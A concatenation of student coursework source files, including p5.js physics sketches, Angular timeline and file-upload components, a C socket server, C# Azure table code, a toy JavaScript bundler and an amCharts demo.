checkEdges() { if (x > width) { x = 0; } } function keyPressed() { if(keyIsPressed && keyCode == 67) { background(255); x = 0; } }<file_sep>/IntegratedProject/src/app/component/dialog-upload/dialog-upload.component.ts import { Component, OnInit, Inject, OnDestroy } from '@angular/core'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { AttachmentService } from '../../service/attachment/attachment.service'; import { HttpEventType, HttpResponse } from '@angular/common/http'; import { Observable } from 'rxjs/Rx'; import { LangService } from '../../service/lang/lang.service'; import { MatSnackBar } from '@angular/material'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; @Component({ selector: 'app-dialog-upload', templateUrl: './dialog-upload.component.html', styleUrls: ['./dialog-upload.component.scss'] }) export class DialogUploadComponent implements OnInit, OnDestroy { public fileList: FileList; public repFileList: any = [];// properties cant be added to filelist objects so this copies the file list so prog props can be added private returnArr = []; public areSureQuestion: boolean = false; public obsArr = []; public fileError = false; constructor( public thisDialogRef: MatDialogRef<DialogUploadComponent>, @Inject(MAT_DIALOG_DATA) public data, private AttachmentService:AttachmentService, public LangService: LangService, public feedback: MatSnackBar, ) { } ngOnInit() {} guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } fileInputChange(event){ this.fileList = event.target.files; this.uploadFiles(); } uploadFiles() { this.fileError = false; for (let index = 0; index < this.fileList.length; index++) { let extension = /(?:\.([^.]+))?$/.exec(this.fileList[index].name)[1];//regex used to get file extension (extension)?extension = extension.toLowerCase():null; // if file extension exists convert to lower case //check if file is msword or image if( (extension == 'jpg' || extension == 'jpeg' || extension == 'png' || extension == 'doc') && (this.fileList[index].type == 'application/msword' || this.fileList[index].type == 'image/jpeg' || this.fileList[index].type == 'image/png') && (this.fileList[index].type) ) { }else{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:"One or more files are not of the correct type (png, jpg, doc)",progress:false}, duration:3500}); this.fileError = true; } } if(!this.fileError) { for (let index = 0; index < this.fileList.length; index++) { let observArr = []; const guid = this.guid(); this.repFileList[index] = {}; this.repFileList[index].name = this.fileList[index].name.toLowerCase(); this.repFileList[index].type = this.fileList[index].type; this.repFileList[index].file = this.fileList[index]; this.repFileList[index].total = 0; this.repFileList[index].loaded = 0; this.repFileList[index].uploaded = 0; this.repFileList[index].status = 0;//0 = not started, 1= success, 2=error this.repFileList[index].progress = 0; observArr.push(this.AttachmentService.genUpSignedUrl(guid)); observArr.push(this.AttachmentService.createAttachment(this.data.Id, guid, this.repFileList[index].name)); this.obsArr.push( Observable.forkJoin(observArr).subscribe( (data)=>{ if(index==0){this.trackProgress()} let signedUrl = data[0].toString();// index 0 holds the presigned url, index 1 holds created attachment response this.obsArr.push( this.AttachmentService.uploadAttach(signedUrl, this.repFileList[index].file, this.fileList[index].type).subscribe( (event) => { console.log("this.repFileList") console.log(this.repFileList) console.log("event") console.log(event) if (event.type === HttpEventType.UploadProgress) { this.repFileList[index].loaded = (event.loaded/1024)/1024 ; this.repFileList[index].total = (event.total/1024)/1024; this.repFileList[index].progress = Math.round(100 * event.loaded / event.total); this.totalToLoad = 0; this.totalLoaded = 0; for (let index = 0; index < this.fileList.length; index++) { this.totalLoaded += this.repFileList[index].loaded; if(this.repFileList[index].status != 2){ // dont include error files this.totalToLoad += this.repFileList[index].total; } this.totalProg = Math.round(100 * this.totalLoaded / this.totalToLoad); } // This is an upload progress event. Compute and show the % done: this.repFileList[index].progress = Math.round(100 * event.loaded / event.total); } else if (event instanceof HttpResponse) { this.repFileList[index].status = 1; // push completed file into the return array so they can be inserted into the event file table const lastSpaceIndex = this.repFileList[index].name.lastIndexOf('.'); const type = this.repFileList[index].name.substr(lastSpaceIndex+1) this.returnArr.push({ Id: guid, Title: this.repFileList[index].name, TimelineEventId: this.data.Id, Type: type }) }else if(event['ok'] == false ){ this.repFileList[index].status = 2; this.feedback.openFromComponent(FeedbackComponent, {data: {msg:"There was an error uploading one or more files, check connection and try again",progress:false}, duration:3500}); } } ) ) }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:"There was an error uploading one or more files, check connection and try again",progress:false}, duration:3500}); } ) ) } } } public finished: boolean = false; // turns to true once all downloads have finished public totalProg: number = 0; public totalLoaded: number = 0; public totalToLoad: number = 0; public timeLeft: string = ''; public upSpeed: number = 0; // down speed arr used to get average downspeed for more accurate time prediction public upSpeedArr = []; public secondsElapsed = 0; trackProgress(){ let prevLoaded = 0; console.log(123); let progressInterval = setInterval(()=>{ console.log(1234); this.secondsElapsed++; let allDone = true; // if arr greater than 10 in length cut first value to keep accuracy (this.upSpeedArr.length > 10)? this.upSpeedArr.shift():null; this.upSpeedArr.push(this.totalLoaded - prevLoaded); let totalDownspeedArr = 0 for (let index = 0; index < this.upSpeedArr.length; index++) { totalDownspeedArr += this.upSpeedArr[index]; } for (let index = 0; index < this.repFileList.length; index++) { if(this.repFileList[index].status == 0){allDone = false} } this.upSpeed = totalDownspeedArr/this.upSpeedArr.length; let remainingData = this.totalToLoad - this.totalLoaded; (this.upSpeed>0) ? this.timeLeft = ": "+(remainingData/this.upSpeed).toFixed(0)+"s": this.timeLeft=''; prevLoaded = this.totalLoaded; if(allDone){// if all done clear the interval this.feedback.openFromComponent(FeedbackComponent, {data: {msg:"All files have finished uploading",progress:false}, duration:3500}); clearInterval(progressInterval); this.finished = true; } }, 1000); } onClose() { if(this.areSureQuestion || this.finished || typeof this.fileList == 'undefined') { this.thisDialogRef.close(this.returnArr); }else{ this.areSureQuestion = true; } } ngOnDestroy() { this.obsArr.forEach(element => { element.unsubscribe(); }); } } <file_sep>/IntegratedProject/src/app/component/date-view/date-view.component.ts import { Component, OnInit, Input } from '@angular/core'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service' @Component({ selector: 'app-date-view', templateUrl: './date-view.component.html', styleUrls: ['./date-view.component.scss'] }) export class DateViewComponent implements OnInit { @Input() timelineId; public eventsCopy; public sortedTimelineData = []; public panelOpenState = []; constructor( private DataTransferService:DataTransferService ) { } ngOnInit() { let events = this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents; this.eventsCopy = JSON.parse(JSON.stringify(events)) let changes:boolean; do{// sort events by date changes = false; for (let index = 0; index < this.eventsCopy.length; index++) { const element = this.eventsCopy[index]; let previousDate; if(index > 0){ previousDate = this.eventsCopy[index-1].EventDateTime; } const dateDiff = element.EventDateTime - previousDate if(dateDiff < 0){ changes = true; const tempStore = this.eventsCopy[index-1]; this.eventsCopy[index-1] = element; this.eventsCopy[index] = tempStore; } } }while(changes) this.sortedTimelineData = this.eventsCopy; } search(event){ let beforeDate = new Date(this.DataTransferService.activeTimelines[this.timelineId].eventBeforeDate).getTime(); let afterDate = new Date(this.DataTransferService.activeTimelines[this.timelineId].eventAfterDate).getTime(); if( !this.DataTransferService.moveData.moveActive// if move isnt active && ( this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm || this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm || this.DataTransferService.activeTimelines[this.timelineId].eventBeforeDate || this.DataTransferService.activeTimelines[this.timelineId].eventAfterDate ) && ( // searching part ( // search for title event.Title.toLowerCase().includes(this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm.toLowerCase()) || typeof this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm == 'undefined' ) && ( // search for tags JSON.stringify(event.Tags).toLowerCase().includes(this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm) || typeof this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm == 'undefined' ) && ( // check before date beforeDate >= event.EventDateTime || !beforeDate ) && ( // check after date afterDate <= event.EventDateTime || !afterDate ) ) ){ return true; }else{ return false; } } }<file_sep>/SystemsProgrammingFinalAssessment/server/server.c #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <pthread.h> #include <net/if.h> #include <sys/ioctl.h> #include <time.h> #include <sys/utsname.h> #include <dirent.h> #include <sys/stat.h> #include <signal.h> #include <sys/time.h> #include "rdwrn.h" void *client_handler(void *); typedef struct { int id_number; int age; float salary; } employee; typedef struct { char *nodename; char *sysname; char *release; char *version; char *machine; } utsname; void get_and_send_employee(int, employee *); void get_and_send_uname(int, utsname *); void send_hello(int); struct timeval start; char get_option(int socket) { char option; size_t n; readn(socket, (unsigned char *) &n, sizeof(size_t)); readn(socket, (unsigned char *) &option, n); return option; } void printruntime(struct timeval tv) { int runtime; runtime = tv.tv_sec - start.tv_sec; printf("Elapsed server time: %d seconds.\n", runtime); } static void handler(int sig, siginfo_t *siginfo, void *context) { printf("SIGINT Recieved...\n"); struct timeval tv; if(gettimeofday(&tv, NULL) == -1) { printf("Get time error\n"); exit(EXIT_FAILURE); } printruntime(tv); exit(EXIT_SUCCESS); } void signals() { struct sigaction act; memset(&act, '\0', sizeof(act)); act.sa_sigaction = &handler; act.sa_flags = SA_SIGINFO; if (sigaction(SIGINT, &act, NULL) == -1) { perror("sigaction"); exit(EXIT_FAILURE); } } void send_id(int connfd) { char stu_id[] = " Student ID: S1712082"; char *ip; char iface[] = "eth0"; struct ifreq ifr; ifr.ifr_addr.sa_family = AF_INET; strncpy(ifr.ifr_name, iface, IFNAMSIZ-1); ioctl(connfd, SIOCGIFADDR, &ifr); ip = strcat(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), stu_id); size_t n = strlen(ip) + 1; writen(connfd, (unsigned char *) &n, sizeof(size_t)); writen(connfd, (unsigned char *) ip, n); } void send_time(int connfd) { time_t t; char *str; if ((t = time(NULL)) == -1) { perror("time error"); exit(EXIT_FAILURE); } struct tm *tm; if ((tm = localtime(&t)) == NULL) { perror("localtime error"); exit(EXIT_FAILURE); } str = asctime(tm); size_t n = strlen(str) + 1; writen(connfd, (unsigned char *) &n, sizeof(size_t)); writen(connfd, (unsigned char *) str, n); } void send_filenames(int connfd) { struct dirent **namelist; char files[256]; int i; int n; strcpy(files, ""); n = scandir("upload", &namelist, NULL, alphasort); if (n < 0) { perror("scandir"); } else { for(i = 0; i < n; i++) { strcat(files, namelist[i]->d_name); strcat(files, "*"); free(namelist[i]); } free(namelist); } files[strcspn(files, "\n")] = 0; size_t k = strlen(files); writen(connfd, (unsigned char *) &k, sizeof(size_t)); writen(connfd, (unsigned char *) files, k); } int main(void) { int listenfd = 0, connfd = 0; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; socklen_t socksize = sizeof(struct sockaddr_in); listenfd = socket(AF_INET, SOCK_STREAM, 0); memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(50031); bind(listenfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (listen(listenfd, 10) == -1) { perror("Failed to listen"); exit(EXIT_FAILURE); } if(gettimeofday(&start, NULL) == -1) { printf("Get time error\n"); exit(EXIT_FAILURE); } signals(); puts("Waiting for incoming connections..."); while (1) { printf("Waiting for a client to connect...\n"); connfd = accept(listenfd, (struct sockaddr *) &client_addr, &socksize); printf("Connection accepted...\n"); pthread_t sniffer_thread; if (pthread_create (&sniffer_thread, NULL, client_handler, (void *) &connfd) < 0) { perror("could not create thread"); exit(EXIT_FAILURE); } printf("Handler assigned\n"); } exit(EXIT_SUCCESS); } void *client_handler(void *socket_desc) { int connfd = *(int *) socket_desc; char option; utsname *uts; uts = (utsname *) malloc(sizeof(utsname)); send_hello(connfd); do { option = get_option(connfd); switch (option) { case '0': break; case '1': send_id(connfd); printf("Option one.\n"); break; case '2': send_time(connfd); printf("Option two.\n"); break; case '3': get_and_send_uname(connfd, uts); printf("Option three.\n"); break; case '4': send_filenames(connfd); printf("Option four.\n"); break; case '5': printf("Goodbye!\n"); break; default: printf("Invalid choice - 0 displays options...!\n"); break; } } while (option != '5'); free(uts); employee *employee1; employee1 = (employee *) malloc(sizeof(employee)); int i; for (i = 0; i < 5; i++) { printf("(Counter: %d)\n", i); get_and_send_employee(connfd, employee1); printf("\n"); } free(employee1); shutdown(connfd, SHUT_RDWR); close(connfd); printf("Thread %lu exiting\n", (unsigned long) pthread_self()); shutdown(connfd, SHUT_RDWR); close(connfd); return 0; } void send_hello(int socket) { char hello_string[] = "hello SP student"; size_t n = strlen(hello_string) + 1; writen(socket, (unsigned char *) &n, sizeof(size_t)); writen(socket, (unsigned char *) hello_string, n); } void get_and_send_uname(int socket, utsname *uts) { struct utsname uts1; size_t len; size_t n = readn(socket, (unsigned char *) &len, sizeof(size_t)); printf("Payload length: %zu (%zu bytes)\n", len, n); n = readn(socket, (unsigned char *) uts, len); if (uname(&uts1) == -1) { perror("uname error"); exit(EXIT_FAILURE); } writen(socket, (unsigned char *) &len, sizeof(size_t)); writen(socket, (unsigned char *) &uts1, len); } void get_and_send_employee(int socket, employee * e) { size_t payload_length; size_t n = readn(socket, (unsigned char *) &payload_length, sizeof(size_t)); printf("payload_length is: %zu (%zu bytes)\n", payload_length, n); n = readn(socket, (unsigned char *) e, payload_length); printf("Age is %d\n", e->age); printf("id is %d\n", e->id_number); printf("Salary is %6.2f\n", e->salary); printf("(%zu bytes)\n", n); e->age++; e->salary += 1.0; writen(socket, (unsigned char *) &payload_length, sizeof(size_t)); writen(socket, (unsigned char *) e, payload_length); } <file_sep>/CloudPlatformDevelopmentCoursework2/SampleTables/SampleTables/Models/Sample.cs // This is a Data Transfer Object (DTO) class. This is sent/received in REST requests/responses. // Read about DTOS here: https://docs.microsoft.com/en-us/aspnet/web-api/overview/data/using-web-api-with-entity-framework/part-5 using System; using System.ComponentModel.DataAnnotations; namespace SampleTables.Models { public class Sample { /// <summary> /// Sample ID /// </summary> [Key] public string SampleID { get; set; } /// <summary> /// Title of sample /// </summary> public string Title { get; set; } /// <summary> /// Name of artist /// </summary> public string Artist { get; set; } /// <summary> /// Creation date/time of entity /// </summary> public DateTime CreatedDate { get; set; } /// <summary> /// Name of uploaded blob in blob storage /// </summary> public string Mp3Blob { get; set; } /// <summary> /// Name of sample blob in blob storage /// </summary> public string SampleMp3Blob { get; set; } /// <summary> /// Web service resource URL of mp3 sample /// </summary> public string SampleMp3Url { get; set; } /// <summary> /// Creation date/time of sample blob /// </summary> public Nullable <DateTime> SampleDate { get; set; } } }<file_sep>/IntegratedProject/src/app/service/data-transfer/data-transfer.service.ts import { Output, EventEmitter, Injectable } from '@angular/core'; import { BehaviorSubject } from 'rxjs/BehaviorSubject'; import { Subject } from 'rxjs/Subject'; import { Observable } from 'rxjs/Rx'; import { TimelineListItem } from '../../interface/timeline-list-item' @Injectable() export class DataTransferService { public onlineObs: Observable<boolean>; // observable that lets check wether online or not //used when moving events // stores event being moved and list of ids of event being moved and id's of children public moveData = { moveActive:false, event: {}, idList: [] }; constructor() { this.onlineObs = Observable.merge( Observable.of(navigator.onLine), Observable.fromEvent(window, 'online').mapTo(true), Observable.fromEvent(window, 'offline').mapTo(false) ) } themeSource = new BehaviorSubject<string>((localStorage.getItem("theme")) ? localStorage.getItem("theme") : "indigo-pink"); // theme switching data transfer function currentTheme = this.themeSource.asObservable(); setTheme(newTheme) { this.themeSource.next(newTheme); } timelineRegisterVisibleSource = new BehaviorSubject<boolean>(true); currentTimelineVisible = this.timelineRegisterVisibleSource.asObservable(); //TODO: this breaks the tieline table by duplicating data. figure it out toggleRegisterExpanded() { if(this.timelineRegisterVisibleSource.getValue()){ this.timelineRegisterVisibleSource.next(false); }else{ this.timelineRegisterVisibleSource.next(true); } } //vars used for panzoom onMap: boolean = false; headingTouch: boolean = false; // active timelines array activeTimelines = []; timelineKeyObs = new BehaviorSubject(null); addActiveTimeline(timelineId, timelineData){ if(this.activeTimelines[timelineId] == null || typeof this.activeTimelines[timelineId] === undefined){ this.activeTimelines[timelineId] = timelineData; this.activeTimelines[timelineId]['eventSearchTerm'] = ''; this.activeTimelines[timelineId]['viewOption'] = 'Tree'; timelineData.newEventObs = new BehaviorSubject(null);// create observable to allow listening for added events timelineData.deleteEventObs = new BehaviorSubject(null);// create observable to allow listening for deleted events this.timelineKeyObs.next({timelineId:timelineId,type:'add'}); } } deleteActiveTimeline(timelineId){ if(this.activeTimelines[timelineId] != null || typeof this.activeTimelines[timelineId] !== undefined){ this.activeTimelines[timelineId]['eventSearchTerm'] = ''; this.activeTimelines[timelineId]['eventTagSearchTerm'] = ''; this.activeTimelines[timelineId]['eventBeforeDate'] = ''; this.activeTimelines[timelineId]['eventAfterDate'] = ''; this.activeTimelines[timelineId]['viewOption'] = 'Tree'; this.activeTimelines[timelineId] = null; this.timelineKeyObs.next({timelineId:timelineId,type:'del'}); } } // observer used to recount event no in left pane after event added or deleted public recountObs = new Subject(); addTimelineEvent(timelineId, event){ this.activeTimelines[timelineId].TimelineEvents.push(event); this.activeTimelines[timelineId].newEventObs.next(event); this.recountObs.next(); }; deleteTimelineEvent(timelineId, eventId){ for (let index = 0; index < this.activeTimelines[timelineId].TimelineEvents.length; index++) { const element = this.activeTimelines[timelineId].TimelineEvents[index]; if(element.Id == eventId){ this.activeTimelines[timelineId].TimelineEvents.splice(index,1); } } this.activeTimelines[timelineId].deleteEventObs.next(eventId) this.recountObs.next(); }; // ids of active timelines public activeTimelineKeys: string[] = []; getTimelineEventById(timelineEventId, timelineId) { for (let index = 0; index < this.activeTimelines[timelineId].TimelineEvents.length; index++) { const event = this.activeTimelines[timelineId].TimelineEvents[index]; if(event.Id == timelineEventId) { return event; } } return null; }; }<file_sep>/CloudPlatformDevelopmentCoursework2/SampleTables/SampleTables/Migrations/InitialiseSamples.cs using Microsoft.WindowsAzure.Storage; using Microsoft.WindowsAzure.Storage.Table; using System; using System.Configuration; using SampleTables.Models; namespace SampleTables.Migrations { public static class InitialiseSamples { public static void go() { const String partitionName = "Samples_Partition_1"; CloudStorageAccount storageAccount = CloudStorageAccount.Parse(ConfigurationManager.ConnectionStrings["AzureWebJobsStorage"].ToString()); CloudTableClient tableClient = storageAccount.CreateCloudTableClient(); CloudTable table = tableClient.GetTableReference("Samples"); DateTime now = DateTime.Now; // If table doesn't already exist in storage then create and populate it with some initial values, otherwise do nothing if (!table.Exists()) { // Create table if it doesn't exist already table.CreateIfNotExists(); // Create the batch operation. TableBatchOperation batchOperation = new TableBatchOperation(); // Create a sample entity and add it to the table. SampleEntity sample1 = new SampleEntity(partitionName, "1"); sample1.Title = "Aqualung"; sample1.Artist = "<NAME>"; sample1.CreatedDate = now; sample1.Mp3Blob = null; sample1.SampleMp3Blob = null; sample1.SampleMp3Url = null; sample1.SampleDate = now; // Create another sample entity and add it to the table. SampleEntity sample2 = new SampleEntity(partitionName, "2"); sample2.Title = "Songs from the wood"; sample2.Artist = "<NAME>"; sample2.CreatedDate = now; sample2.Mp3Blob = null; sample2.SampleMp3Blob = null; sample2.SampleMp3Url = null; sample2.SampleDate = now; // Create another sample entity and add it to the table. SampleEntity sample3 = new SampleEntity(partitionName, "3"); sample3.Title = "Wish you were here"; sample3.Artist = "<NAME>"; sample3.CreatedDate = now; sample3.Mp3Blob = null; sample3.SampleMp3Blob = null; sample3.SampleMp3Url = null; sample3.SampleDate = now; // Create another sample entity and add it to the table. SampleEntity sample4 = new SampleEntity(partitionName, "4"); sample4.Title = "Still Life"; sample4.Artist = "<NAME>"; sample4.CreatedDate = now; sample4.Mp3Blob = null; sample4.SampleMp3Blob = null; sample4.SampleMp3Url = null; sample4.SampleDate = now; // Create another sample entity and add it to the table. SampleEntity sample5 = new SampleEntity(partitionName, "5"); sample5.Title = "Musical Box"; sample5.Artist = "Genesis"; sample5.CreatedDate = now; sample5.Mp3Blob = null; sample5.SampleMp3Blob = null; sample5.SampleMp3Url = null; sample5.SampleDate = now; // Create another sample entity and add it to the table. SampleEntity sample6 = new SampleEntity(partitionName, "6"); sample6.Title = "Supper's Ready"; sample6.Artist = "Genesis"; sample6.CreatedDate = now; sample6.Mp3Blob = null; sample6.SampleMp3Blob = null; sample6.SampleMp3Url = null; sample6.SampleDate = now; // Create another sample entity and add it to the table. SampleEntity sample7 = new SampleEntity(partitionName, "7"); sample7.Title = "Starship Trooper"; sample7.Artist = "Yes"; sample7.CreatedDate = now; sample7.Mp3Blob = null; sample7.SampleMp3Blob = null; sample7.SampleMp3Url = null; sample7.SampleDate = now; // Create another sample entity and add it to the table. SampleEntity sample8 = new SampleEntity(partitionName, "8"); sample8.Title = "Levitation"; sample8.Artist = "Hawkwind"; sample8.CreatedDate = now; sample8.Mp3Blob = null; sample8.SampleMp3Blob = null; sample8.SampleMp3Url = null; sample8.SampleDate = now; // Add product entities to the batch insert operation. batchOperation.Insert(sample1); batchOperation.Insert(sample2); batchOperation.Insert(sample3); batchOperation.Insert(sample4); batchOperation.Insert(sample5); batchOperation.Insert(sample6); batchOperation.Insert(sample7); batchOperation.Insert(sample8); // Execute the batch operation. table.ExecuteBatch(batchOperation); } } } }<file_sep>/IntegratedProject/src/app/component/dialog-confirm/dialog-confirm.component.ts import { Component, OnInit, Inject } from '@angular/core'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { LangService } from '../../service/lang/lang.service' @Component({ selector: 'app-dialog-confirm', templateUrl: './dialog-confirm.component.html', styleUrls: ['./dialog-confirm.component.scss'] }) export class DialogConfirmComponent implements OnInit { otherTheme: boolean = false; constructor( public thisDialogRef: MatDialogRef<DialogConfirmComponent>, @Inject(MAT_DIALOG_DATA) public data, public LangService: LangService, ) {} ngOnInit() {} onCloseConfirm(result) { this.thisDialogRef.close(result); } onCloseCancel() { this.thisDialogRef.close('cancel'); } } <file_sep>/IntegratedProject/readme.txt git bash inside thi url then run 'node proxy'<file_sep>/HNDGradedUnit/js/extras/forces/frictionPockets/sketch.js var m = []; var time = 0; function setup() { createCanvas(windowWidth,500); for(var i = 0; i < 25; i++) { m[i] = new Mover(random(0.3,2)); time+=0.1; } } function draw() { background(255); var wind = createVector(0.1,0); for(var i = 0; i < m.length; i++) { var mass1 = m[i].mass; var gravity = createVector(0,0.1*mass1); frictionPockets(); m[i].applyForce(wind); m[i].applyForce(gravity); m[i].update(); m[i].display(); m[i].checkEdges(); } } function frictionPockets() { for(var i = 0; i < m.length; i++) { var c = 0.01; var friction = m[i].vel.copy(); friction.mult(-1); friction.normalize(); friction.mult(c); if(m[i].loc.x >= 0 && m[i].loc.x <= 100) { m[i].applyForce(friction); } else if(m[i].loc.x >= 450 && m[i].loc.x <= 550) { var f = p5.Vector.mult(friction, -1); m[i].applyForce(f); } } }
e68480a6c8e8e03612ee6712107430e43b71a3b2
[ "HTML", "JavaScript", "Markdown", "C#", "Java", "Text", "C", "TypeScript" ]
67
JavaScript
bencrawford26/Portfolio
dcda38e7ef8974e3af5b8dfbf4d633eb5d674bdc
574d8012b1b74123f3f06a4f7c266e0300f708f5
refs/heads/master
<file_sep>import tkinter import time import random """ 弹弹球游戏逻辑分析 1.创建游戏窗口 ---初始化 2.创建一个弹弹球 ---创建弹球的类 初始化属性 创建实例对象 3.弹弹球反弹移动 ---添加一个移动方法 --> y方向移动 遇到边框反弹 4.弹弹球随机移动 ---增加球的x轴的随机运动方向 5.创建一个小木板 --- 6.小木板添加移动功能 7.增加球和小木板的碰撞侦测 8.判断当球移动到底部游戏结束 """ # 创建一个弹球的类 class Ball(object): """弹球""" def __init__(self, canvas, color, plank): """初始化弹球""" self.canvas = canvas self.oval = canvas.create_oval(10, 10, 25, 25, fill=color) # 创建一个实心球,并记录它的id self.canvas.move(self.oval, 245, 100) # 初始化弹球的位置 self.x = 0 self.y = -5 # self.canvas_height = self.canvas.winfo_height() self.x_direct = [-3, -2, -1, 1, 2, 3] self.plank = plank # 接收木板对象 self.hit_bottom = False # starts = [-3, -2, -1, 1, 1, 2, 3] ---公众号思路代码 # random.shuffle(starts) # self.x = starts[0] # 从list里面随机取一个 # self.y = -3 # -3表示y轴运动的速度 def draw(self): """移动""" index = random.randint(0, 5) pos = self.canvas.coords(self.oval) if pos[1] <= 0: # 如果y坐标超出窗口顶部 则+5向下移动 self.y = 5 self.x = self.x_direct[index] if pos[3] >= 400: # 如果y坐标超出窗口底部 则-5向上移动 self.y = -5 self.x = self.x_direct[index] if pos[0] <= 0: # 如果x坐标超出窗口左部 则向右移动 self.x = self.x_direct[index] if pos[2] >= 500: # 如果x坐标超出窗口右部 则向左移动 self.x = self.x_direct[index] if self.hit_plank(pos): # 如果检测到木板撞击,则向上移动 self.y = -5 if pos[3] >= 380: # 如果检测到弹弹球撞击窗口底部, 则更改hit_bottom状态 self.hit_bottom = True # self.canvas.move(self.oval, 0, -1) self.canvas.move(self.oval, self.x, self.y) # 移动弹球 def hit_plank(self, pos): """检测弹弹球和木板的撞击""" plank_pos = self.canvas.coords(self.plank.rect) if (pos[2] >= plank_pos[0]) and (pos[0] <= plank_pos[2]): if (pos[3] >= plank_pos[1]) and (pos[3] <= plank_pos[3]): return True return False class Plank(object): """创建木板的类""" def __init__(self, canvas, color): """初始化小木板对象""" self.canvas = canvas self.rect = canvas.create_rectangle(0, 0, 80, 10, fill=color) self.canvas.move(self.rect, 200, 350) self.x = 0 self.canvas.bind_all('<KeyPress-Left>', self.turn_left) self.canvas.bind_all('<KeyPress-Right>', self.turn_right) def draw(self): """通过draw函数画出木板左移右移""" self.canvas.move(self.rect, self.x, 0) pos = self.canvas.coords(self.rect) if pos[0] <= 0: self.x = 0 elif pos[2] >= 500: self.x = 0 def turn_left(self, event): """木板向左移动""" self.x = -5 def turn_right(self, event): self.x = 5 def main(): """弹弹球游戏主程序""" # 初始化 游戏窗口 tk = tkinter.Tk() # 1.创建一个tk的实例 tk.title('弹弹球-refrain') # 2.游戏窗口命名 # tk.geometry('500x400') tk.resizable(0, 0) # 3.窗口布局不能被拉升 canvas = tkinter.Canvas(tk, width=500, height=400, bd=0, highlightthickness=0) # 4.创建窗口大小 canvas.pack() # 5.通知窗口管理器注册组件 # tk.mainloop() # 开始事件循环 tk.update() 刷新界面 # 创建一个弹球 和 木板 对象 plank = Plank(canvas, 'grey') ball = Ball(canvas, 'blue', plank) while True: if not ball.hit_bottom: ball.draw() plank.draw() tk.update_idletasks() tk.update() time.sleep(0.1) else: break if __name__ == '__main__': main()<file_sep>弹弹球 小游戏 Demo 2018.6.26 python tk模块
812c8cb4e399fb5318f46cce9bb6a1a5aa9887dc
[ "Markdown", "Python" ]
2
Python
Rickyliaoruiqi/Ball_Plank-Dome
d4fd0a763a76b8940cb3fc5c42f49c75837d37a4
072ae66850b457c06acdeb0541bcf0ef5d9b551e
refs/heads/master
<file_sep>import add from './add'; import { minus } from './minus'; import { greeting } from './greeting'; const sum = add(1, 2); const division = minus(2, 1); console.log(sum); console.log(division); document.write(greeting('World')); <file_sep>/** * compiler.js 主要做了以下几个事情: * 1. 接收 mypack.config.js 配置参数,并初始化 entry、output * 2. 开启编译 run 方法,处理构建模块、收集依赖、输出文件等 * 3. buildModule 方法,主要用于构建模块(被 run 方法调用) * 4. emitFiles 方法,输出文件(同样被 run 方法调用) */ const path = require('path'); const fs = require('fs'); const { getAST, getDependencies, transform } = require('./parser'); class Compiler { // 接收通过 lib/index.js 中 `new Compiler(options).run()` 传入的参数,对应 mypack.config.js 的配置 constructor(options) { const { entry, output } = options; this.entry = entry; this.output = output; this.modules = []; } // 开启编译 run() { const entryModule = this.buildModule(this.entry, true); this.modules.push(entryModule); this.modules.map((_module) => { _module.dependencies.map((dependency) => { this.modules.push(this.buildModule(dependency)); }); }); this.emitFiles(); } /** * 构建模块相关 * @param {*} filename 文件名称 * @param {*} isEntry 是否是入口文件 */ buildModule(filename, isEntry) { let ast; if (isEntry) { ast = getAST(filename); } else { const absolutePath = path.join(process.cwd(), './src', filename); ast = getAST(absolutePath); } return { filename, // 文件名称 dependencies: getDependencies(ast), // 依赖列表 transformCode: transform(ast), // 转化后的代码 }; } // 输入文件 emitFiles() { const outputPath = path.join(this.output.path, this.output.filename); let modules = ''; this.modules.map((_module) => { modules += `'${_module.filename}' : function(require, module, exports) {${_module.transformCode}},`; }); const bundle = ` (function(modules) { function require(fileName) { const fn = modules[fileName]; const module = { exports:{}}; fn(require, module, module.exports) return module.exports } require('${this.entry}') })({${modules}}) `; fs.writeFileSync(outputPath, bundle, 'utf-8'); } } module.export = Compiler;
dbede399a9ce82fbc40db0f368a6a7ccf4983f1c
[ "JavaScript" ]
2
JavaScript
s1min/webpack-sample
ea4d50d7bf8c1695e0dbf01ce8e22135744e7652
3110b73b61f8af1affdbe689ca980f8f98fcd66e
refs/heads/master
<file_sep>export * from "./index"; console.warn("The amcharts.directive.ts file is deprecated, use index.ts instead"); <file_sep>import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { private id = "chartdiv"; private options; private timer; makeChartConfig() { var dataProvider = []; // Generate random data for (var year = 1950; year <= 2005; ++year) { dataProvider.push({ year: "" + year, value: Math.floor(Math.random() * 100) - 50 }); } return { "type": "serial", "theme": "light", "marginTop":0, "marginRight": 80, "dataProvider": dataProvider, "valueAxes": [{ "axisAlpha": 0, "position": "left" }], "graphs": [{ "id":"g1", "balloonText": "[[category]]<br><b><span style='font-size:14px;'>[[value]]</span></b>", "bullet": "round", "bulletSize": 8, "lineColor": "#d1655d", "lineThickness": 2, "negativeLineColor": "#637bb6", "type": "smoothedLine", "valueField": "value" }], "chartScrollbar": { "graph":"g1", "gridAlpha":0, "color":"#888888", "scrollbarHeight":55, "backgroundAlpha":0, "selectedBackgroundAlpha":0.1, "selectedBackgroundColor":"#888888", "graphFillAlpha":0, 